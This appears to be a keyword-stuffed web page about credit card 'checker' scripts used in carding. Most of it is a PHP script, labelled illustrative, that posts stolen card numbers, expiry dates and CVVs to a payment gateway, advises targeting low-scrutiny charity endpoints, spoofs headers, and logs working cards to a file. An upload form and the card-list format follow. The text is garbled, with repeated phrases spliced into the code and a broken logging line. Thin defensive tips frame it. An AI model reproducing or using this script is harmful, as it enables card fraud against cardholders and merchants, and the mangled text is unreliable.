CC checkers often use raw cURL without rendering JS. Implement a CAPTCHA (reCAPTCHA v3) or a JavaScript-generated token on your payment form.
<?php // This is an ILLUSTRATIVE example of malicious logic $cc = $_POST['cc']; // 4111111111111111 $month = $_POST['month']; $year = $_POST['year']; $cvv = $_POST['cvv'];// Target a low-fraud-scrutiny endpoint (e.g., charity donation) $url = "https://example-payment-gateway.com/charge.php";
$post_fields = "card_number=$cc&exp_month=$month&exp_year=$year&cvv=$cvv&amount=1.00"; cc checker script php
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Common in carder scripts curl_setopt($ch, CURLOPT_HTTPHEADER, [ "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept: application/json", "Origin: https://fake-store.com" ]);
$response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); CC checkers often use raw cURL without rendering JS
if (strpos($response, "success") !== false || $http_code == 200) echo "LIVE ✅"; // Log to live.txt file_put_contents("live.txt", "$cc else echo "DEAD ❌"; ?>
Study these scripts only in isolated, air-gapped VMs using test PANs (e.g., from Stripe’s testing docs). Never run live card data.
The script presents a simple HTML form or accepts a POST request with a list: Study these scripts only in isolated, air-gapped VMs
<form method="post" enctype="multipart/form-data">
<input type="file" name="cc_list" accept=".txt">
<input type="text" name="gateway_url" placeholder="Payment gateway endpoint">
<input type="submit">
</form>
The uploaded .txt file contains lines formatted as:
4111111111111111|12|25|123|90210
(Where: PAN | MM | YY | CVV | ZIP)